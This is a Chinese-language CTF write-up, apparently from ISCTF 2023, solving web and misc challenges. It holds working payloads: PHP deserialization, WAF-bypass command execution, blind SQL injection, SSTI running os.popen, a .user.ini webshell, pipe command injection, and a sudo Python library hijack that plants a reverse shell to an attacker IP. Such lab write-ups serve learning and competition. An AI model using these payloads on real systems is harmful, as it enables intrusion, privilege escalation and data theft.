web
圣杯战争!!!
题目:
| PHP |
POP链:summon->artifact->prepare->saber
EXP:
| PHP |
| ?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;} |
where_is_the_flag
当前目录下一个

根目录下一个

环境变量里一个

绕进你的心里

| md5和第一个preg都用数组绕过 然后第二个preg和strpos组合的话用正则回溯绕过 |
payload:
| Python |

easy_website
同款题:[SWPUCTF 2022 新生赛]ez_sql
URL:http://43.249.195.138:20597/check.php
过滤or select 用双写绕过
空格用/**/绕过
查当前库

查当前库下的表

列出全部列的内容,最后发现是password里有flag
payload:
| POST: |

Wafr

| payload: POST: code=system('ca\t /f*')%0a |
webinclude
打开就要参数

dirsearch扫下备份文件

下载index.bak查看源码

定义了两个函数,并且利用这两个函数对原本的参数名进行了加密处理
最后加密结果为dxdydxdudxdtdxeadxekdxea
写个逆向脚本再反求parameter即可
| JavaScript |

得到参数名:mihoyo
| ?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php |
伪协议直接读,解码base64即可
ez_ini
上传.user.ini文件
| TOML |
UA头添加木马:
| PHP |

| POST: shell=system('tac /flag'); |

fuzz!

flag在/flaggggggg.txt中,要bypass
fuzz脚本
| PHP |

| 排除数字和字母后只剩以下符号可用 |
"|"没ban,可以放在开头结束前面的curl,然后拼接我们自己的系统命令
flag关键字过滤可以用"[]"正则匹配绕过
| paylaod: ?file=|tac /fl[a-z]ggggggg.txt |

1z_Ssql

先摸索了一下,发现union和=号过滤
过滤等于号,改用>号即可
union过滤就用不了联合查询注入了,考虑布尔盲注
| admin' and length(database()) > 1#爆破当前数据库长度 |

爆到6报错,说明当前数据库长度为6
继续爆库名
从第一位开始,从a字母开始
| admin' and substr(database(),1,1) > 'b' #第一位为b admin' and substr(database(),2,1) > 't' #第二位为t |
后面爆出当前库名字就是出题人名字:bthcls
附件拿到两个字典,应该是表和列的,使用bp来爆破
| admin' and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>'a' # |

根据返回长度找到对应表 列

得到bthcls.users.password有值
爆数据,字典为32-127纯数字(可打印字符的ascii十进制值)
| admin'and ascii(substr((select group_concat(password)from bthcls.users limit 0,1),1,1))>§32§ # |

得到第一位的asciii码十进制为119
后续相同操作一直爆,最后爆出完整密码:119 101 49 99 111 109 101 55 111 49 115 99 116 102
对应字符:we1come7o1sctf
| 账号:admin 密码:we1come7o1sctf |

恐怖G7人
无过滤ssti,直接注入,flag在环境变量里
| {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}} |

MISC
签到题

附件拿到PS拼接

扫码回复题目要求信息即可得到flag
杰伦可是流量明星
拿到mp3文件,binwalk出一个压缩包

wireshark打开
在tcp.stream eq 2中找到flag

你说爱我?尊嘟假嘟

你说爱我替换为Ook.
尊嘟替换为Ook!
假嘟替换为Ook?
https://www.splitbrain.org/services/ook
解得:
ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z
再base64解密

easy_zip
6位数字爆破密码即可

蓝鲨的福利
010打开添加89504E47后保存为png文件打开即可

EZcrc
附件拿到zip文件

https://github.com/AabyssZG/CRC32-Tools
Python xxx.py -3 文件名(zip放同目录下)
工具提取下crc值

排下顺序
| Python |
改为标准格式
| Python |
爆破脚本 blog.csdn.net
| Python |
手工分离一下

字母表:https://www.xuezimu.com.cn/info/26zimu.php
对照翻译后得到
U1ZORFZFWjdNV1EzTnpjMVpXUXRZV1JoTUMwMFl6WTNMV0l4T0RVdE1HSXpZelF4WXpsa05tUXlmUT09
两段base64解密得到flag

镜流
bandizip爆破压缩包密码

查看hint:

想起了GDOUCTF的题目了
2023 广东海洋大学 GDOUCTF Writeup By AheadSec_末 初的博客-CSDN博客

借用师傅的脚本,改12为10即可
| Python |
提取出一个新的png图片

zsteg查看发现还藏了一张图在lsb最低位处

zsteg -e b1,rgb,lsb,xy ok.png -> out.png 提取出来得到flag

ezUSB
wireshark分析流量特征,发现有蓝牙和usb流量

tshark- T json -r 题目.pcapng >output.json
提取数据以json格式
usb流量:
strings output.json | grep "usbhid.data">1.txt(提取usb流量)

去掉字段名和开头的01字节,并取随后的8byte保存

| Python |
得到后半段flag

收集删除的字符可以发现key:soezusb
蓝牙流量:
strings output.json | grep "btatt.value">2.txt
修改下格式后保存,依旧使用上面的脚本


先进行flag连接:
AGGSZ{Kp_wn_YRV_SOV_JMFYFFJS!!!}
key:soezusb
维吉尼亚密码

ISCTF{So_ez_USB_AND_VIGENERE!!!}
小蓝鲨的秘密
伪加密
改两个00即可


png图片拉下宽高

得到key:15CTF2023

解密AES即可
在线AES加密 | AES解密 - 在线工具

Ez_misc
拿到附件

ppt最后一张图备注处拿到密码:M13c_!ps2s23

解压flag.zip后发现jpg文件打不开

010打开后发现文件头缺失,补充即可

打开得到二维码,扫码得到flag

spalshes
预期解:

解密文本拿到点坐标
| Python |

拿到密码后解压得到二维码,扫码获得flag
非预期解:
直接爆破6位纯数字

出题人年轻了
张学森,下雪了
附件拿到zip和字典

字典爆破出密码:blueSHARK666

结合题目推测flag.txt内有snow隐写

hint.txt先进行base64 17次解密后再进行字频统计得到密码:ISCTFZ023

snow解密即可

MCSOG-猫猫

在群里发送指定消息

复制信息到vim中发现有零宽隐写

https://www.mzy0.com/ctftools/zerowidth1/
勾选200C 202C 200E即可

stream

发现是盲注流量,Tshark提取一下
tshark -r xxx.pcapng -Y "http.request" -T fields -e http.request.full_uri > data.txt
删除一些其他数据并url解码后就得到完整的盲注日志了

BUU 流量分析 sqltest - 云千 - 博客园
| Python |

PNG的基本食用
图1 修复宽高
得到第一段flag

ISCTF{png-is-
图2 lsb最低位

so-ez-
图3 binwalk分离出压缩包

解压得到第三段

for-you}
ISCTF{png-is-so-ez-for-you}
sudopy

ssh -p 21269 ctf@43.249.195.138
password:ctf
连接题目后,先pwd查看当前位置

ls -al 发现flag和一个web.py文件

但是flag得root才能访问
sudo -l 显示出自己(执行 sudo 的使用者)的权限

发现/usr/bin/python3 /home/ctf/web.py 这样是可以sudo运行不需要密码的
看下web.py的内容

导入了一个叫webbrowser的库
找下它的位置

Linux权限提升:Python库劫持 - FreeBuf网络安全行业门户
根据文章提到的操作,在webbrowser.py里放入反弹shell
vim /usr/lib/python3.10/webbrowser.py
| 反弹shell:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); |

保存后退出,同时再开个终端连vps,连上后nc -lvnp 端口 开启监听
然后在靶机处执行命令:sudo /usr/bin/python3 /home/ctf/web.py

成功连接,并且是root权限
接着cd /home/ctf 后 cat flag即可




















